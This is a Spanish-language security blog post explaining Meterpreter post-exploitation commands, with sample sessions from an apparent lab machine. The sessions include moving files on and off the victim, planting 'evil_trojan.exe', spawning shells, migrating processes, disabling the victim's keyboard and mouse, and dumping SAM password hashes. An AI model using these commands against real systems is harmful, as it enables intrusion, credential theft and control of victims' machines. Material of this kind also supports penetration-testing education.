

BTshell – [In]- Seguridad Informática

[Deja un comentario](#)

Comandos Meterpreter

Posted by [BTshell](#) on [30 marzo, 2013](#) in [Categorías](#)

Meterpreter es un Payload que se ejecuta después del proceso de explotación o abuso de una vulnerabilidad en un sistema operativo, meterpreter es el diminutivo para meta-interprete y se ejecuta completamente en memoria; evitando así tener problemas con los Antivirus.

En este artículo se describen algunas de las características más importantes de este shellcode como son:

1. Eliminación de archivos de Log.
2. Captura de pantalla.
3. Carga y descarga de archivos.
4. Copiar información.
5. Extracción de información de configuración: Tablas de enrutamiento, tarjetas de red, registro de Windows, configuración de seguridad, archivos compartidos, configuración de firewall, etc, etc.

Core Commands

Background

Ejecuta la sesión actual en segundo plano para retornar a la línea de comandos de Meterpreter, para regresar a la sesión se ejecuta el comando tradicional (sessions -i 1).

```
meterpreter > background
msf exploit(ms08_067_netapi) >
msf exploit(ms08_067_netapi) >
msf exploit(ms08_067_netapi) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > █
```

Migrate

Permite migrarse a otro proceso en la maquina víctima.

```
meterpreter > migrate 1448
[*] Migrating to 1448...
[*] Migration completed successfully.
meterpreter >
```

File Systems Commands

LS

Permite visualizar los archivos en el directorio remoto actual.

```
meterpreter > ls

Listing: C:\WINDOWS
=====

Mode                Size           Type             Last modified          Name
-----
40777/rwxrwxrwx     0             dir              Wed Feb 03 18:36:22 -0500 2010 $MSI31
40777/rwxrwxrwx     0             dir              Wed May 26 13:02:03 -0400 2010 .
40777/rwxrwxrwx     0             dir              Mon Dec 31 18:00:00 -0500 1979 ..
100666/rw-rw-rw-     0             fil              Sun Feb 27 15:45:56 -0500 2011 0.log
100666/rw-rw-rw-  17336         fil              Fri Aug 24 06:00:00 -0400 2001 A pesc
100666/rw-rw-rw-  26680         fil              Fri Aug 24 06:00:00 -0400 2001 Abanic
40777/rwxrwxrwx     0             dir              Thu Jan 15 09:50:24 -0500 2009 AppPat
100666/rw-rw-rw-   9522         fil              Fri Aug 24 06:00:00 -0400 2001 Azteca
100666/rw-rw-rw-   3018         fil              Thu Feb 05 17:18:23 -0500 2009 COM+.l
40777/rwxrwxrwx     0             dir              Thu Jan 15 09:45:21 -0500 2009 Config
40777/rwxrwxrwx     0             dir              Thu Jan 15 09:45:21 -0500 2009 Connec
40777/rwxrwxrwx     0             dir              Thu Jan 15 09:15:40 -0500 2009 Cursor
40777/rwxrwxrwx     0             dir              Thu Jan 15 09:16:11 -0500 2009 Cursor
40777/rwxrwxrwx     0             dir              Thu Jan 15 08:51:35 -0500 2009 Debug
40777/rwxrwxrwx     0             dir              Wed Feb 18 17:55:22 -0500 2009 Downlo
40777/rwxrwxrwx     0             dir              Thu Jan 15 09:45:21 -0500 2009 Driver
100666/rw-rw-rw-    133         fil              Thu Jan 15 09:16:45 -0500 2009 DtcIns
100666/rw-rw-rw-   19552        fil              Mon Mar 09 17:07:36 -0400 2009 EventS
100666/rw-rw-rw-   89051        fil              Wed Feb 03 18:36:28 -0500 2010 FaxSet
40555/r-xr-xr-x     0             dir              Thu Jan 15 08:52:46 -0500 2009 Fonts
100666/rw-rw-rw-   17062        fil              Fri Aug 24 06:00:00 -0400 2001 Grano
40777/rwxrwxrwx     0             dir              Wed Dec 02 11:56:55 -0500 2009 Help
40777/rwxrwxrwx     0             dir              Thu Jan 15 09:53:46 -0500 2009 IIS Te
40777/rwxrwxrwx     0             dir              Wed May 12 11:02:43 -0400 2010 Instal
40777/rwxrwxrwx     0             dir              Tue Feb 09 22:14:58 -0500 2010 Intern
```

Download

Permite descargar un archivo de la maquina atacada, es necesario hacer uso del back-slash doble en la ruta del mismo

```
meterpreter > download C:\\boot.ini
[*] downloading: C:\boot.ini -> C:\boot.ini
[*] downloaded : C:\boot.ini -> C:\boot.ini/boot.ini
meterpreter >
```

Upload

Permite cargar un archivo en una ruta especifica, de la misma manera que el comando download es necesario hacer uso del doble slash al momento de indicar la ruta.

```
meterpreter > upload evil_trojan.exe C:\\WINDOWS\\system32  
[*] uploading : evil_trojan.exe -> C:\\WINDOWS\\system32  
[*] uploaded  : evil_trojan.exe -> C:\\WINDOWS\\system32\\evil_trojan.exe  
meterpreter >
```

Search

Permite buscar archivos en la maquina víctima, además:

1. Permite indicar el tipo de archivo.
2. Permite indicar la ruta donde se quiere realizar la búsqueda.

```
meterpreter > search -f *.jpg  
Found 358 results...  
c:\\Archivos de programa\\3Com\\TFTP Server\\jre\\lib  
c:\\Archivos de programa\\@stake\\LC5\\help\\commands  
c:\\Archivos de programa\\@stake\\LC5\\help\\commands  
c:\\Archivos de programa\\@stake\\LC5\\help\\commands  
c:\\Archivos de programa\\@stake\\LC5\\help\\commands  
c:\\Archivos de programa\\@stake\\LC5\\help\\commands  
c:\\Archivos de programa\\@stake\\LC5\\help\\commands  
c:\\Archivos de programa\\@stake\\LC5\\help\\commands  
c:\\Archivos de programa\\@stake\\LC5\\help\\commands  
c:\\Archivos de programa\\@stake\\LC5\\help\\commands  
c:\\Archivos de programa\\@stake\\LC5\\help\\commands  
c:\\Archivos de programa\\@stake\\LC5\\help\\commands  
c:\\Archivos de programa\\@stake\\LC5\\help\\commands  
c:\\Archivos de programa\\@stake\\LC5\\help\\commands  
c:\\Archivos de programa\\@stake\\LC5\\help\\commands  
c:\\Archivos de programa\\@stake\\LC5\\help\\commands
```

```
meterpreter > search -d C:\\Docs -f *.pdf  
Found 6 results...  
C:\\Docs\\gancho.pdf (191422 bytes)  
C:\\Docs\\normal.pdf (10688 bytes)  
C:\\Docs\\downloads\\12363.pdf (1240472 bytes)  
C:\\Docs\\downloads\\EVIL.pdf (2346 bytes)  
C:\\Docs\\exploits\\Instalacion_Windows_Seven.pdf (10680 bytes)  
C:\\Docs\\exploits\\Instrucciones.pdf (7608 bytes)  
meterpreter >
```

Networking Commads

Ipconfig

Permite visualizar todas la información de todas tarjetas de red existentes en la maquina atacada.

```
meterpreter > ipconfig

MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address   : 127.0.0.1
Netmask     : 255.0.0.0

VMware Accelerated AMD PCNet Adapter
Hardware MAC: 00:0c:29:5f:1a:a3
IP Address   : 192.168.100.232
Netmask     : 255.255.255.224
```

Route

Permite consultar y modificar la tabla de enrutamiento.

```
meterpreter > route

Network routes
=====

Subnet          Netmask          Gateway
-----          -
0.0.0.0         0.0.0.0         192.168.100.254
127.0.0.0      255.0.0.0       127.0.0.1
192.168.100.224 255.255.255.224 192.168.100.232
192.168.100.232 255.255.255.255 127.0.0.1
192.168.100.255 255.255.255.255 192.168.100.232
224.0.0.0      240.0.0.0       192.168.100.232
255.255.255.255 255.255.255.255 192.168.100.232

meterpreter > █
```

System Commands

Execute

Permite ejecutar un comando.

```
meterpreter > execute -f cmd.exe -i -H
Process 1984 created.
Channel 1 created.
Microsoft Windows XP [Versi n 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\usuario>
```

Getprivs

Permite obtener tantos privilegios de administraci3n como sea posible.

```
meterpreter > getprivs
=====
Enabled Process Privileges
=====
SeDebugPrivilege
SeTcbPrivilege
SeCreateTokenPrivilege
SeAssignPrimaryTokenPrivilege
SeLockMemoryPrivilege
SeIncreaseQuotaPrivilege
SeSecurityPrivilege
SeTakeOwnershipPrivilege
SeLoadDriverPrivilege
SeSystemtimePrivilege
SeProfileSingleProcessPrivilege
SeIncreaseBasePriorityPrivilege
SeCreatePagefilePrivilege
SeCreatePermanentPrivilege
SeBackupPrivilege
SeRestorePrivilege
SeShutdownPrivilege
SeAuditPrivilege
SeSystemEnvironmentPrivilege
SeChangeNotifyPrivilege
SeUndockPrivilege
SeManageVolumePrivilege
```

Getuid

Permite consultar el tipo de usuario que la maquina victima esta ejecutando.

```
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
```

Ps

Permite consultar todos los procesos que están en ejecución.

```
meterpreter > ps

Process list
=====
```

PID	Name	Arch	Session	User	Path
0	[System Process]				
4	System	x86	0		
264	smss.exe	x86	0	NT AUTHORITY\SYSTEM	\Syste
396	csrss.exe	x86	0	NT AUTHORITY\SYSTEM	\??\C:
420	winlogon.exe	x86	0	NT AUTHORITY\SYSTEM	\??\C:
472	services.exe	x86	0	NT AUTHORITY\SYSTEM	C:\WIN
484	lsass.exe	x86	0	NT AUTHORITY\SYSTEM	C:\WIN
632	vmacthlp.exe	x86	0	NT AUTHORITY\SYSTEM	C:\Arc
648	svchost.exe	x86	0	NT AUTHORITY\SYSTEM	C:\WIN
708	svchost.exe	x86	0		C:\WIN
776	svchost.exe	x86	0	NT AUTHORITY\SYSTEM	C:\WIN
840	svchost.exe	x86	0		C:\WIN
928	svchost.exe	x86	0		C:\WIN
1096	spoolsv.exe	x86	0	NT AUTHORITY\SYSTEM	C:\WIN
1300	explorer.exe	x86	0	HACKME\usuario	C:\WIN
1424	jusched.exe	x86	0	HACKME\usuario	C:\Arc
1432	VMwareTray.exe	x86	0	HACKME\usuario	C:\Arc
1440	VMwareUser.exe	x86	0	HACKME\usuario	C:\Arc
1448	nc.exe	x86	0	HACKME\usuario	C:\win
1464	ctfmon.exe	x86	0	HACKME\usuario	C:\WIN
1512	WlanUtil.exe	x86	0	HACKME\usuario	C:\Arc
1620	a2service.exe	x86	0	NT AUTHORITY\SYSTEM	C:\Arc
1656	prevx.exe	x86	0	NT AUTHORITY\SYSTEM	C:\Arc
1744	inetinfo.exe	x86	0	NT AUTHORITY\SYSTEM	C:\WIN
1760	jqs.exe	x86	0	NT AUTHORITY\SYSTEM	C:\Arc
1792	metsvc.exe	x86	0	NT AUTHORITY\SYSTEM	C:\bac

Shell

Permite obtener un Shell, o línea de comando.

```
meterpreter > shell
Process 2596 created.
Channel 2 created.
Microsoft Windows XP [Versi#n 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\usuario>
```

SysInfo

Permite obtener información del sistema remoto como:

1. Nombre de la maquina.
2. Sistema Operativo.
3. Tipo de arquitectura.
4. Lenguaje del sistema operativo.

```
meterpreter > sysinfo
Computer      : HACKME
OS           : Windows XP (Build 2600, Service Pack 2).
Arch         : x86
Language     : es_ES
Meterpreter: x86/win32
meterpreter >
```

User Interface Commdads

Enumdesktops

Permite consultar todas las sesiones (o escritorios).

```
meterpreter > enumdesktops
Enumerating all accessible desktops

Desktops
=====

  Session  Station      Name
  -----  -
  0         WinSta0      Default
  0         WinSta0      Disconnect
  0         WinSta0      Winlogon
  0         SAWinSta     SADesktop
  0         __X78B95_89_IW __A8D9S1_42_ID

meterpreter >
```

Idletime

Permite consultar el tiempo en el que el usuario de la maquina victima ha estado ausente.

```
meterpreter > idletime
User has been idle for: 1 min 31 secs
meterpreter >
```

Screenshot

Permite extraer una imagen del escritorio remoto.

```
meterpreter > screenshot
Screenshot saved to: /home/mosh/metasploit/iJLhVRMu.jpeg
meterpreter >
```

Uictl

Permite controlar algunos de los componentes del sistema afectado.

```
meterpreter > uictl
Usage: uictl [enable/disable] [keyboard/mouse]
meterpreter > uictl disable mouse
Disabling mouse...
meterpreter > uictl disable keyboard
Disabling keyboard...
meterpreter > █
```

Password Database Commands

Hashdump

Permite consultar el contenido de la base de datos SAM en sistemas Windows.

```
meterpreter > hashdump
Administrador:500:47857c380f1c114299efbee9a872a429:4ee1ce26c1458b76a6c
Asistente de ayuda2:1000:94ec3082408c4e00a92bbd20b45f52c3:87731cd5edc4
ASPNET:1012:b071c60eaaa65abf4bd71c4c2f37ffe8:e499c154f4ea7c2b9423e79a8
hacker:1016:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaae8fb117ad06bdd83
hax0r:1017:4fb87c2fe14cf629f26213bce17f2339:162fd98c1907e837ac00eab36b
Invitado:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7
IUSR_HACKME:1009:e2454b4b1023b36178ad0ea9fdb9129:839b29116ac1a8927dff
IWAM_HACKME:1010:1f1ef8b9dcdd62a634fa26c8bfad8772:f6ee8180a939aa2e60c3
SUPPORT_388945a0ruickTim:1002:aad3b435b51404eeaad3b435b51404ee:82e7783
user1:1007:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaae8fb117ad06bdd830
user2:1008:aad3b435b51404eeaad3b435b51404ee:eb5aad5328274b8eab5b54e89d
usuario:1003:d3e5ae601d62f267495c6fde9d6060ee:82e4ecb968539ec1f85d19dc
meterpreter > █
```

Fuente: <http://stuxnethack.blogspot.com.es/> (<http://stuxnethack.blogspot.com.es/>)

[About these ads \(http://en.wordpress.com/about-these-ads/\)](http://en.wordpress.com/about-these-ads/)

[Permalink](#)

[Blog de WordPress.com.](#) | Tema [Nuntius](#).